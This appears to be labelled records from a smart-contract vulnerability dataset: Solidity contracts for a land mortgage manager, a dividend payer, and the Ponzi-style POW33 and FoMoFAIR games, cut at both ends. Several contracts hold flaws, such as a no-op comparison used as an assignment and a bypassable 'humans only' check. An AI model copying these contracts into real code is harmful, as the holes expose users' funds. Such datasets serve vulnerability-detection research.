require(rcn.transferFrom(mortgage.owner, this, loanAmount), "Error pulling RCN from borrower");
uint256 boughtMana = convertSafe(mortgage.tokenConverter, rcn, mana, loanAmount);
delete mortgage.tokenConverter;
uint256 currentLandCost;
(, , currentLandCost, ) = mortgage.landMarket.auctionByAssetId(mortgage.landId);
require(currentLandCost <= mortgage.landCost, "Parcel is more expensive than expected");
require(mana.approve(mortgage.landMarket, currentLandCost), "Error approving mana transfer");
flagReceiveLand = mortgage.landId;
mortgage.landMarket.executeOrder(mortgage.landId, currentLandCost);
require(mana.approve(mortgage.landMarket, 0), "Error removing approve mana transfer");
require(flagReceiveLand == 0, "ERC721 callback not called");
require(land.ownerOf(mortgage.landId) == address(this), "Error buying parcel");
land.setUpdateOperator(mortgage.landId, mortgage.owner);
uint256 totalMana = boughtMana.add(mortgage.deposit);
uint256 rest = totalMana.sub(currentLandCost);
require(mana.transfer(mortgage.owner, rest), "Error returning MANA");
require(mortgage.engine.cosign(index, 0), "Error performing cosign");
mortgageByLandId[mortgage.landId] = uint256(readBytes32(data, 0));
emit StartedMortgage(uint256(readBytes32(data, 0)));
return true;
}
function convertSafe(
TokenConverter converter,
Token from,
Token to,
uint256 amount
) internal returns (uint256 bought) {
require(from.approve(converter, amount), "Error approve convert safe");
uint256 prevBalance = to.balanceOf(this);
bought = converter.convert(from, to, amount, 1);
require(to.balanceOf(this).sub(prevBalance) >= bought, "Bought amount incorrect");
require(from.approve(converter, 0), "Error remove approve convert safe");
}
function claim(address engine, uint256 loanId, bytes) external returns (bool) {
uint256 mortgageId = loanToLiability[engine][loanId];
Mortgage storage mortgage = mortgages[mortgageId];
require(mortgage.status == Status.Ongoing, "Mortgage not ongoing");
require(mortgage.loanId == loanId, "Mortgage don't match loan id");
if (mortgage.engine.getStatus(loanId) == Engine.Status.paid || mortgage.engine.getStatus(loanId) == Engine.Status.destroyed) {
require(_isAuthorized(msg.sender, mortgageId), "Sender not authorized");
mortgage.status = Status.Paid;
land.safeTransferFrom(this, msg.sender, mortgage.landId);
emit PaidMortgage(msg.sender, mortgageId);
} else if (isDefaulted(mortgage.engine, loanId)) {
require(msg.sender == mortgage.engine.ownerOf(loanId), "Sender not lender");
mortgage.status = Status.Defaulted;
land.safeTransferFrom(this, msg.sender, mortgage.landId);
emit DefaultedMortgage(mortgageId);
} else {
revert("Mortgage not defaulted/paid");
}
delete mortgageByLandId[mortgage.landId];
return true;
}
function isDefaulted(Engine engine, uint256 index) public view returns (bool) {
return engine.getStatus(index) == Engine.Status.lent &&
engine.getDueTime(index).add(7 days) <= block.timestamp;
}
function onERC721Received(uint256 _tokenId, address, bytes) external returns (bytes4) {
if (msg.sender == address(land) && flagReceiveLand == _tokenId) {
flagReceiveLand = 0;
return bytes4(keccak256("onERC721Received(address,uint256,bytes)"));
}
}
function onERC721Received(address, uint256 _tokenId, bytes) external returns (bytes4) {
if (msg.sender == address(land) && flagReceiveLand == _tokenId) {
flagReceiveLand = 0;
return bytes4(keccak256("onERC721Received(address,uint256,bytes)"));
}
}
function onERC721Received(address, address, uint256 _tokenId, bytes) external returns (bytes4) {
if (msg.sender == address(land) && flagReceiveLand == _tokenId) {
flagReceiveLand = 0;
return bytes4(0x150b7a02);
}
}
function getData(uint256 id) public pure returns (bytes o) {
assembly {
o := mload(0x40)
mstore(0x40, add(o, and(add(add(32, 0x20), 0x1f), not(0x1f))))
mstore(o, 32)
mstore(add(o, 32), id)
}
}
function updateLandData(uint256 id, string data) external returns (bool) {
require(_isAuthorized(msg.sender, id), "Sender not authorized");
(int256 x, int256 y) = land.decodeTokenId(mortgages[id].landId);
land.updateLandData(x, y, data);
emit UpdatedLandData(msg.sender, id, data);
return true;
}
function convertRate(Oracle oracle, bytes32 currency, bytes data, uint256 amount) internal returns (uint256) {
if (oracle == address(0)) {
return amount;
} else {
(uint256 rate, uint256 decimals) = oracle.getRate(currency, data);
emit ReadedOracle(oracle, currency, decimals, rate);
require(decimals <= RCN_DECIMALS, "Decimals exceeds max decimals");
return amount.mult(rate.mult(10**(RCN_DECIMALS-decimals))) / PRECISION;
}
}
function _doTransferFrom(
address _from,
address _to,
uint256 _assetId,
bytes _userData,
bool _doCheck
)
internal
{
ERC721Base._doTransferFrom(_from, _to, _assetId, _userData, _doCheck);
land.setUpdateOperator(mortgages[_assetId].landId, _to);
}
}
| 0 | 1,996 |
pragma solidity ^0.4.25;
interface token {
function balanceOf(address _owner) public view returns (uint256 balance);
}
contract Dividends {
address private maintoken = 0x2f7823aaf1ad1df0d5716e8f18e1764579f4abe6;
address private owner = msg.sender;
address private user;
uint256 private usertoken;
uint256 private userether;
uint256 public dividends1token = 3521126760563;
uint256 public dividendstart = 1538051599;
mapping (address => uint256) public users;
mapping (address => uint256) public admins;
token public tokenReward;
function Dividends() public {
tokenReward = token(maintoken);
admins[msg.sender] = 1;
}
function() external payable {
if (admins[msg.sender] != 1) {
user = msg.sender;
usertoken = tokenReward.balanceOf(user);
if ( (now > dividendstart ) && (usertoken != 0) && (users[user] != 1) ) {
userether = usertoken * dividends1token + msg.value;
user.transfer(userether);
users[user] = 1;
} else {
user.transfer(msg.value);
}
}
}
function admin(address _admin, uint8 _value) public {
require(msg.sender == owner);
admins[_admin] = _value;
}
function out() public {
require(msg.sender == owner);
owner.transfer(this.balance);
}
}
| 1 | 2,434 |
pragma solidity ^0.4.21;
contract POW33 {
modifier onlyBagholders() {
require(myTokens() > 0);
_;
}
modifier onlyStronghands() {
require(myDividends(true) > 0);
_;
}
modifier onlyAdministrator(){
address _customerAddress = msg.sender;
require(administrators[keccak256(_customerAddress)]);
_;
}
modifier antiEarlyWhale(uint256 _amountOfEthereum){
address _customerAddress = msg.sender;
if( onlyAmbassadors && ((totalEthereumBalance() - _amountOfEthereum) <= ambassadorQuota_ )){
require(
ambassadors_[_customerAddress] == true &&
(ambassadorAccumulatedQuota_[_customerAddress] + _amountOfEthereum) <= ambassadorMaxPurchase_
);
ambassadorAccumulatedQuota_[_customerAddress] = SafeMath.add(ambassadorAccumulatedQuota_[_customerAddress], _amountOfEthereum);
_;
} else {
onlyAmbassadors = false;
_;
}
}
event onTokenPurchase(
address indexed customerAddress,
uint256 incomingEthereum,
uint256 tokensMinted,
address indexed referredBy
);
event onTokenSell(
address indexed customerAddress,
uint256 tokensBurned,
uint256 ethereumEarned
);
event onReinvestment(
address indexed customerAddress,
uint256 ethereumReinvested,
uint256 tokensMinted
);
event onWithdraw(
address indexed customerAddress,
uint256 ethereumWithdrawn
);
event Transfer(
address indexed from,
address indexed to,
uint256 tokens
);
string public name = "POW33";
string public symbol = "PW33";
uint8 constant public decimals = 18;
uint8 constant internal dividendFee_ = 3;
uint256 constant internal tokenPriceInitial_ = 0.0000001 ether;
uint256 constant internal tokenPriceIncremental_ = 0.00000001 ether;
uint256 constant internal magnitude = 2**64;
uint256 public stakingRequirement = 100e18;
mapping(address => bool) internal ambassadors_;
uint256 constant internal ambassadorMaxPurchase_ = 1 ether;
uint256 constant internal ambassadorQuota_ = 20 ether;
mapping(address => uint256) internal tokenBalanceLedger_;
mapping(address => uint256) internal referralBalance_;
mapping(address => int256) internal payoutsTo_;
mapping(address => uint256) internal ambassadorAccumulatedQuota_;
uint256 internal tokenSupply_ = 0;
uint256 internal profitPerShare_;
mapping(bytes32 => bool) public administrators;
bool public onlyAmbassadors = true;
function POW33()
public
{
administrators[0x28d25883e7fbf1b858d6b89dd9749ab205a15d58f26f4ae9b0993c070339e71d] = true;
}
function buy(address _referredBy)
public
payable
returns(uint256)
{
purchaseTokens(msg.value, _referredBy);
}
function()
payable
public
{
purchaseTokens(msg.value, 0x0);
}
function reinvest()
onlyStronghands()
public
{
uint256 _dividends = myDividends(false);
address _customerAddress = msg.sender;
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
uint256 _tokens = purchaseTokens(_dividends, 0x0);
onReinvestment(_customerAddress, _dividends, _tokens);
}
function exit()
public
{
address _customerAddress = msg.sender;
uint256 _tokens = tokenBalanceLedger_[_customerAddress];
if(_tokens > 0) sell(_tokens);
withdraw();
}
function withdraw()
onlyStronghands()
public
{
address _customerAddress = msg.sender;
uint256 _dividends = myDividends(false);
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
_customerAddress.transfer(_dividends);
onWithdraw(_customerAddress, _dividends);
}
function sell(uint256 _amountOfTokens)
onlyBagholders()
public
{
address _customerAddress = msg.sender;
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
uint256 _tokens = _amountOfTokens;
uint256 _ethereum = tokensToEthereum_(_tokens);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens);
int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude));
payoutsTo_[_customerAddress] -= _updatedPayouts;
if (tokenSupply_ > 0) {
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
}
onTokenSell(_customerAddress, _tokens, _taxedEthereum);
}
function transfer(address _toAddress, uint256 _amountOfTokens)
onlyBagholders()
public
returns(bool)
{
address _customerAddress = msg.sender;
require(!onlyAmbassadors && _amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
if(myDividends(true) > 0) withdraw();
uint256 _tokenFee = SafeMath.div(_amountOfTokens, dividendFee_);
uint256 _taxedTokens = SafeMath.sub(_amountOfTokens, _tokenFee);
uint256 _dividends = tokensToEthereum_(_tokenFee);
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokenFee);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _taxedTokens);
payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens);
payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _taxedTokens);
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
Transfer(_customerAddress, _toAddress, _taxedTokens);
return true;
}
function disableInitialStage()
onlyAdministrator()
public
{
onlyAmbassadors = false;
}
function setAdministrator(bytes32 _identifier, bool _status)
onlyAdministrator()
public
{
administrators[_identifier] = _status;
}
function setStakingRequirement(uint256 _amountOfTokens)
onlyAdministrator()
public
{
stakingRequirement = _amountOfTokens;
}
function setName(string _name)
onlyAdministrator()
public
{
name = _name;
}
function setSymbol(string _symbol)
onlyAdministrator()
public
{
symbol = _symbol;
}
function totalEthereumBalance()
public
view
returns(uint)
{
return this.balance;
}
function totalSupply()
public
view
returns(uint256)
{
return tokenSupply_;
}
function myTokens()
public
view
returns(uint256)
{
address _customerAddress = msg.sender;
return balanceOf(_customerAddress);
}
function myDividends(bool _includeReferralBonus)
public
view
returns(uint256)
{
address _customerAddress = msg.sender;
return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ;
}
function balanceOf(address _customerAddress)
view
public
returns(uint256)
{
return tokenBalanceLedger_[_customerAddress];
}
function dividendsOf(address _customerAddress)
view
public
returns(uint256)
{
return (uint256) ((int256)(profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude;
}
function sellPrice()
public
view
returns(uint256)
{
if(tokenSupply_ == 0){
return tokenPriceInitial_ - tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_ );
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
}
function buyPrice()
public
view
returns(uint256)
{
if(tokenSupply_ == 0){
return tokenPriceInitial_ + tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_ );
uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends);
return _taxedEthereum;
}
}
function calculateTokensReceived(uint256 _ethereumToSpend)
public
view
returns(uint256)
{
uint256 _dividends = SafeMath.div(_ethereumToSpend, dividendFee_);
uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
return _amountOfTokens;
}
function calculateEthereumReceived(uint256 _tokensToSell)
public
view
returns(uint256)
{
require(_tokensToSell <= tokenSupply_);
uint256 _ethereum = tokensToEthereum_(_tokensToSell);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
function purchaseTokens(uint256 _incomingEthereum, address _referredBy)
antiEarlyWhale(_incomingEthereum)
internal
returns(uint256)
{
address _customerAddress = msg.sender;
uint256 _undividedDividends = SafeMath.div(_incomingEthereum, dividendFee_);
uint256 _referralBonus = SafeMath.div(_undividedDividends, 3);
uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus);
uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _undividedDividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
uint256 _fee = _dividends * magnitude;
require(_amountOfTokens > 0 && (SafeMath.add(_amountOfTokens,tokenSupply_) > tokenSupply_));
if(
_referredBy != 0x0000000000000000000000000000000000000000 &&
_referredBy != _customerAddress &&
tokenBalanceLedger_[_referredBy] >= stakingRequirement
){
referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus);
} else {
_dividends = SafeMath.add(_dividends, _referralBonus);
_fee = _dividends * magnitude;
}
if(tokenSupply_ > 0){
tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens);
profitPerShare_ += (_dividends * magnitude / (tokenSupply_));
_fee = _fee - (_fee-(_amountOfTokens * (_dividends * magnitude / (tokenSupply_))));
} else {
tokenSupply_ = _amountOfTokens;
}
tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
int256 _updatedPayouts = (int256) ((profitPerShare_ * _amountOfTokens) - _fee);
payoutsTo_[_customerAddress] += _updatedPayouts;
onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy);
return _amountOfTokens;
}
function ethereumToTokens_(uint256 _ethereum)
internal
view
returns(uint256)
{
uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18;
uint256 _tokensReceived =
(
(
SafeMath.sub(
(sqrt
(
(_tokenPriceInitial**2)
+
(2*(tokenPriceIncremental_ * 1e18)*(_ethereum * 1e18))
+
(((tokenPriceIncremental_)**2)*(tokenSupply_**2))
+
(2*(tokenPriceIncremental_)*_tokenPriceInitial*tokenSupply_)
)
), _tokenPriceInitial
)
)/(tokenPriceIncremental_)
)-(tokenSupply_)
;
return _tokensReceived;
}
function tokensToEthereum_(uint256 _tokens)
internal
view
returns(uint256)
{
uint256 tokens_ = (_tokens + 1e18);
uint256 _tokenSupply = (tokenSupply_ + 1e18);
uint256 _etherReceived =
(
SafeMath.sub(
(
(
(
tokenPriceInitial_ +(tokenPriceIncremental_ * (_tokenSupply/1e18))
)-tokenPriceIncremental_
)*(tokens_ - 1e18)
),(tokenPriceIncremental_*((tokens_**2-tokens_)/1e18))/2
)
/1e18);
return _etherReceived;
}
function sqrt(uint x) internal pure returns (uint y) {
uint z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
| 1 | 3,072 |
pragma solidity ^0.4.24;
contract F3Devents {
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed roundID,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
event onPotSwapDeposit
(
uint256 roundID,
uint256 amountAddedToPot
);
}
contract modularShort is F3Devents {}
contract FoMoFAIR is modularShort {
using SafeMath for *;
using NameFilter for string;
using F3DKeysCalcShort for uint256;
PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0xacd1ae32f6519ed27ec245462d4154584451bb38);
address private admin = msg.sender;
string constant public name = "FOMO FAIR";
string constant public symbol = "FAIR";
uint256 private rndExtra_ = 30 minutes;
uint256 private rndGap_ = 30 minutes;
uint256 constant private rndInit_ = 30 minutes;
uint256 constant private rndInc_ = 10 seconds;
uint256 constant private rndMax_ = 1 hours;
uint256 public airDropPot_;
uint256 public airDropTracker_ = 0;
uint256 public rID_;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => F3Ddatasets.Player) public plyr_;
mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
mapping (uint256 => F3Ddatasets.Round) public round_;
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_;
mapping (uint256 => F3Ddatasets.TeamFee) public fees_;
mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_;
constructor()
public
{
fees_[0] = F3Ddatasets.TeamFee(30,6);
fees_[1] = F3Ddatasets.TeamFee(43,0);
fees_[2] = F3Ddatasets.TeamFee(56,10);
fees_[3] = F3Ddatasets.TeamFee(43,8);
potSplit_[0] = F3Ddatasets.PotSplit(15,10);
potSplit_[1] = F3Ddatasets.PotSplit(25,0);
potSplit_[2] = F3Ddatasets.PotSplit(20,20);
potSplit_[3] = F3Ddatasets.PotSplit(30,10);
}
modifier isActivated() {
require(activated_ == true, "its not ready yet. check ?eta in discord");
_;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, plyr_[_pID].laff, 2, _eventData_);
}
function buyXid(uint256 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
buyCore(_pID, _affCode, _team, _eventData_);
}
function buyXaddr(address _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function buyXname(bytes32 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affCode, _team, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _rID = rID_;
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
F3Ddatasets.EventReturns memory _eventData_;
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
} else {
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function getBuyPrice()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else
return ( 75000000000000 );
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt + rndGap_)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt + rndGap_).sub(_now) );
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
uint256 _rID = rID_;
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
if (round_[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
}
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID)
private
view
returns(uint256)
{
return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) );
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
return
(
round_[_rID].ico,
_rID,
round_[_rID].keys,
round_[_rID].end,
round_[_rID].strt,
round_[_rID].pot,
(round_[_rID].team + (round_[_rID].plyr * 10)),
plyr_[round_[_rID].plyr].addr,
plyr_[round_[_rID].plyr].name,
rndTmEth_[_rID][0],
rndTmEth_[_rID][1],
rndTmEth_[_rID][2],
rndTmEth_[_rID][3],
airDropTracker_ + (airDropPot_ * 1000)
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID,
plyr_[_pID].name,
plyrRnds_[_pID][_rID].keys,
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff,
plyrRnds_[_pID][_rID].eth
);
}
function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
core(_rID, _pID, msg.value, _affID, _team, _eventData_);
} else {
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
